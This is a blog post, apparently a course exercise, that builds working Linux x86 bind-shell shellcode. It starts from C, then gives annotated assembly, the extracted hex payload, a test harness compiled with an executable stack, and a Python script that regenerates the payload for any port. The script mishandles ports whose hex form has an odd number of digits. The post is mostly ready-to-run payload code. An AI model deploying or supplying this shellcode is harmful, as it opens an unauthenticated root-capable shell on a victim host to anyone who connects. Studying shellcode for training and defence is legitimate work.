SLAE: Simple shell_bind_tcp shellcode

Intro

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/

Student ID: SLAE-924

The task is to create a Shell_Bind_TCP shellcode which satisfies following requirements:

  • binds to a port
  • execs shell on incoming connection
  • port number should be easily configurable

Let’s see how it looks like in C:

#include <stdio.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
int main(void) {
    int socket_fd;
    int client_fd;
    socklen_t socklen;
//create socket
    socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
//bind socket
    struct sockaddr_in srv_addr;
    struct sockaddr_in cli_addr;
    srv_addr.sin_family = AF_INET;
    srv_addr.sin_port = htons( 31337 );
    srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
    bind(socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));
//listen
    listen(socket_fd, 0);
    socklen = sizeof(cli_addr);
//accept
    client_fd = accept(socket_fd, (struct sockaddr *)&cli_addr, &socklen);
//redirect I/O
    dup2(client_fd, 0);
    dup2(client_fd, 1);
    dup2(client_fd, 2);
//execve /bin/sh
    execve("/bin/sh", NULL, NULL);
}

To write our shellcode we will use system calls. Here the system call reference can be found. For example we will use sys_socketcall syscall. Let’s see some information about it:

Sample image

We can see that number of the syscall is 102 and we should write 0x66 into EAX register to use it. The call numbers for the sys_socketcall can be found here: /usr/include/linux/net.h

Sample image

Creating socket

socket_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);

We already know that sys_socketcall has number 102 and the sys_socket function number is 1

Sample image

So now:

eax <- 0x66
ebx <- 0x1

ecx should contain an arg array {AF_INET, SOCK_STREAM, 0}.

Protocol families can be found in bits/socket.h:

Sample image

SOCK_STREAM = 1
PF_INET = 2

So now we know that arg array should look like {2, 1, 0} To write it in ecx register we will push values in reverse order to the stack and then copying esp into ecx register.

Now our socket creating code looks like:

;sockfd = socket(AF_INET, SOCK_STREAM, 0);
    push BYTE 0x66    ;syscall number of socketcall is 102 (0x66)
    pop eax           ;syscall number moved to eax
    xor edx, edx      ;zero out edx
    xor ebx, ebx      ;zero out ebx
    inc ebx           ;now ebx stores 1 = sys_socket syscall number
    push edx          ;start creating of arg array in reverse order {0, 1, 2}
    push ebx          ;now we pushing 1 to the stack (socket type = 1 - SOCK_STREAM)
    push 0x2          ;pushing 2 to the stack (socket domain = 2 - AF_INET)
    mov ecx, esp      ;copy arg array to ecx
    int 0x80          ;sockfd = socket(AF_INET, SOCK_STREAM, 0)

Bind socket

struct sockaddr_in srv_addr;
srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( 31337 );
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);
bind(socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr) );

In this part we should do the following thing: bind(socket_fd, [2, 31337, 0], 16)

socket_fd - was created in the previous part
2 - AF_INET
31337 - Port
0 - INADDR_ANY
16 - size of srv_addr

Registers should look like this:

EAX <- 0x66 (socketcall syscall number)
EBX <- 0x2 (sys_bind function number)
ECX <- (socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr));

ECX is a structure which contains sockaddr structure.

Lets create bind part of the shellcode:

;bind(socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr))
    mov esi, eax     ;save socket fd in esi fo later use
    push BYTE 0x66   ;socketcall number
    pop eax          ;now eax contains socketcall number
    inc ebx          ;now ebx contains 2 - sys_bind function number

Now we should write this structure to ecx:

srv_addr.sin_family = AF_INET;
srv_addr.sin_port = htons( 31337 );
srv_addr.sin_addr.s_addr = htonl (INADDR_ANY);

We will push it to the stack in reverse order.

    push edx        ;lets start building sockaddr struct (edx = 0) -> INADDR_ANY = 0
    push WORD 0x697A     ;31337 is 7a69 in hex, but we need it in reverse order, so 0x697A
    push WORD bx        ;push 2 to the stack (AF_INET = 2)
    mov ecx, esp    ;saving sockaddr struct in ecx

Now ecx contains sockaddr structure.

Bind function looks loke: bind(socket_fd, <now it is stored in ECX register>, sizeof(srv_addr))

We should push socket_fd (which is now is stored in esi register), sizeof(srv_addr) and sockaddr structure to the stack in the reverse order.

    push 0x10      ;argv: {sizeof(srv_addr) = 16,
    push ecx       ;address of sockaddr structure,
    push esi       ;socket_fd whis is stored in esi
    mov ecx, esp   ;save this structure of structure in ecx
    int 0x80

Full bind function looks like:

;bind(socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr))
    mov esi, eax ;save socket fd in esi fo later use
    push BYTE 0x66    ;socketcall number
    pop eax      ;now eax contains socketcall number
    inc ebx   ;now ebx contains 2 - sys_bind function number
    push edx        ;lets start building sockaddr struct (edx = 0) -> INADDR_ANY = 0
    push WORD 0x697A     ;31337 is 7a69 in hex, but we need it in reverse order, so 0x697A
    push WORD bx        ;push 2 to the stack (AF_INET = 2)
    mov ecx, esp    ;saving sockaddr struct in ecx
    push 0x10      ;argv: {sizeof(srv_addr) = 16,
    push ecx       ;address of sockaddr structure,
    push esi       ;socket_fd whis is stored in esi
    mov ecx, esp   ;save this structure of structure in ecx
    int 0x80

Listen to socket

listen(socket_fd, 0)

EAX <- 0x66
EBX <- 0x4 - sys_listen syscall number
ECX <- (socket_fd, 0)
;listen(socket_fd, 0)
    mov BYTE al, 0x66
    inc ebx
    inc ebx
    push edx      ;edx contains 0
    push esi      ;esi contains socket_fd
    mov ecx, esp  ;save (socket_fd, 0) to ecx
    int 0x80

Accept connection

Now it is time to accept connections: client_fd = accept(socket_fd, (struct sockaddr *)&cli_addr, &socklen )

This function will look like: client_fd = accept(socket_fd, 0, 0)

;client_fd = accept(socket_fd, (struct sockaddr *)&cli_addr, &socklen )
    mov al, 0x66     ;socketcall syscall number 102
    inc ebx          ;ebx = 5 = sys_accept
    push edx         ;argv (in reverse order): {socklen = 0,
    push edx         ;sockaddr ptr = NULL,
    push esi         ;socket fd}
    mov ecx, esp
    int 0x80         ;eax now contains connected socket fd

This call returns connected socket fd in eax register and we will save it later.

Redirect I/O

Standart input, standart output and standart error - three standart file descriptors used by programs to perform I/O. We will swap the standart input, output and error of the spawned shell with the connected socket file descriptor.

dup2 - special system call for duplicating file descriptors.

Sample image

;dup2(client_fd, 0)
;dup2(client_fd, 1)
;dup2(client_fd, 2)
    mov ebx, eax     ;move connected socket fd in ebx

    mov al, 0x3f     ;dup2 syscall number #63
    xor ecx, ecx     ;ecx now contains 0 - standart input
    int 0x80         ;dup(client_fd, 0)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 1 - standart output
    int 0x80         ;dup(client_fd, 1)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 2 - standart error
    int 0x80         ;dup(client_fd, 2)

Calling execve /bin/sh

;execve("/bin/sh", NULL, NULL)
    mov al, 11         ;execve syscall number 11
    push edx           ;push some nulls for string termination
    push 0x68732f2f    ;push "//sh" to the stack
    push 0x6e69622f    ;push "/bin" to the stack
    mov ebx, esp       ;put the address of "/bin//sh" into ebx via esp
    push edx           ;push 32-bit null terminator to stack
    mov edx, esp       ;empty array for envp
    push ebx           ;push string addr to stack above null terminator
    mov ecx, esp       ;argv array with string pointer
    int 0x80           ;execve("/bin//sh", ["/bin//sh", NULL], [NULL])

That’s how stack should looks like:

Sample image

Let’s combine all parts

;Linux/x86 Port-Binding Shellcode
;by Anton Ostrokonskiy @ostrokonskiy
;SLAE-924

global _start

section .text
_start:

;sockfd = socket(AF_INET, SOCK_STREAM, 0);
    push BYTE 0x66    ;syscall number of socketcall is 102 (0x66)
    pop eax           ;syscall number moved to eax
    xor edx, edx      ;zero out edx
    xor ebx, ebx      ;zero out ebx
    inc ebx           ;now ebx stores 1 = sys_socket syscall number
    push edx          ;start creating of arg array in reverse order {0, 1, 2}
    push ebx          ;now we pushing 1 to the stack (socket type = 1 - SOCK_STREAM)
    push 0x2          ;pushing 2 to the stack (socket domain = 2 - AF_INET)
    mov ecx, esp      ;copy arg array to ecx
    int 0x80          ;sockfd = socket(AF_INET, SOCK_STREAM, 0)

;bind(socket_fd, (struct sockaddr *)&srv_addr, sizeof(srv_addr))
    mov esi, eax ;save socket fd in esi fo later use
    push BYTE 0x66    ;socketcall number
    pop eax      ;now eax contains socketcall number
    inc ebx      ;now ebx contains 2 - sys_bind function number
    push edx        ;lets start building sockaddr struct (edx = 0) -> INADDR_ANY = 0
    push WORD 0x697a     ;31337 is 7a69 in hex, but we need it in reverse order, so 0x697A
    push WORD bx        ;push 2 to the stack (AF_INET = 2)
    mov ecx, esp    ;saving sockaddr struct in ecx
    push 0x10      ;argv: {sizeof(srv_addr) = 16,
    push ecx       ;address of sockaddr structure,
    push esi       ;socket_fd whis is stored in esi
    mov ecx, esp   ;save this structure of structure in ecx
    int 0x80

;listen(socket_fd, 0)
    mov BYTE al, 0x66
    inc ebx
    inc ebx
    push edx      ;edx contains 0
    push esi      ;esi contains socket_fd
    mov ecx, esp  ;save (socket_fd, 0) to ecx
    int 0x80

;client_fd = accept(socket_fd, (struct sockaddr *)&cli_addr, &socklen )
    mov al, 0x66     ;socketcall syscall number 102
    inc ebx          ;ebx = 5 = sys_accept
    push edx         ;argv (in reverse order): {socklen = 0,
    push edx         ;sockaddr ptr = NULL,
    push esi         ;socket fd}
    mov ecx, esp
    int 0x80         ;eax now contains connected socket fd

;dup2(client_fd, 0)
;dup2(client_fd, 1)
;dup2(client_fd, 2)
    mov ebx, eax     ;move connected socket fd in ebx

    mov al, 0x3f     ;dup2 syscall number #63
    xor ecx, ecx     ;ecx now contains 0 - standart input
    int 0x80         ;dup(client_fd, 0)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 1 - standart output
    int 0x80         ;dup(client_fd, 1)

    mov al, 0x3f     ;dup2 syscall number #63
    inc ecx          ;ecx now contains 2 - standart error
    int 0x80         ;dup(client_fd, 2)

;execve("/bin/sh", NULL, NULL)
    mov al, 11         ;execve syscall number 11
    push edx           ;push some nulls for string termination
    push 0x68732f2f    ;push "//sh" to the stack
    push 0x6e69622f    ;push "/bin" to the stack
    mov ebx, esp       ;put the address of "/bin//sh" into ebx via esp
    push edx           ;push 32-bit null terminator to stack
    mov edx, esp       ;empty array for envp
    push ebx           ;push string addr to stack above null terminator
    mov ecx, esp       ;argv array with string pointer
    int 0x80           ;execve("/bin//sh", ["/bin//sh", NULL], [NULL])

Let’s compile our shellcode:

nasm -f elf32 -o shellcode.o shellcode.nasm

ld -o shellcode shellcode.o

objdump -d shellcode -M intel

And then extract the opcodes:

objdump -d ./shellcode|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

That’s it!

"\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80"

We will use main.c template:

char main[] = "\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

Let’s compile it and RUN!

gcc main.c -z execstack
./a.out

Sample image

Our shellcode works!

But there is one more requirement: bind port should be easy configurable.

I created python script which generates shellcode with a bind port specified and checks if any null bytes appears in shellcode after changing port number.

import sys

byte_string = ""
counter = 0
result_string = ""

if (len(sys.argv) < 2):
    print "Enter the port number"
else:
    port = int(sys.argv[1])
    if ((port < 1) or (port > 65535)):
        print "Enter valid port number:"
    else:
        hex_port = hex(port)[2:]
        for i in hex_port:
            byte_string += i
            counter += 1
            if counter == 2:
                result_string += "\\x" + byte_string
                byte_string = ""
                counter = 0
        if "\\x00" not in result_string:
            print ("\\x6a\\x66\\x58\\x31\\xd2\\x31\\xdb\\x43\\x52\\x53\\x6a\\x02\\x89\\xe1\\xcd\\x80\\x89\\xc6\\x6a\\x66\\x58\\x43\\x52\\x66\\x68" + result_string +
                   "\\x66\\x53\\x89\\xe1\\x6a\\x10\\x51\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\x43\\x43\\x52\\x56\\x89\\xe1\\xcd\\x80\\xb0\\x66\\x43\\x52\\x52\\x56"
                   "\\x89\\xe1\\xcd\\x80\\x89\\xc3\\xb0\\x3f\\x31\\xc9\\xcd\\x80\\xb0\\x3f\\x41\\xcd\\x80\\xb0\\x3f\\x41\\xcd\\x80\\xb0\\x0b\\x52\\x68\\x2f\\x2f\\x73"
                   "\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x52\\x89\\xe2\\x53\\x89\\xe1\\xcd\\x80")
        else:
            print "Shellcode contains null bytes! Choose another port"

Let’s generate shellcode with port bind 4444:

Sample image

main.c now looks like this:

char main[] = "\x6a\x66\x58\x31\xd2\x31\xdb\x43\x52\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x6a\x66\x58\x43\x52\x66\x68\x11\x5c\x66\x53\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\x43\x43\x52\x56\x89\xe1\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\xb0\x3f\x31\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x0b\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x89\xe2\x53\x89\xe1\xcd\x80";

Compile it and run:

gcc main.c -z execstack
./a.out

It works!

Sample image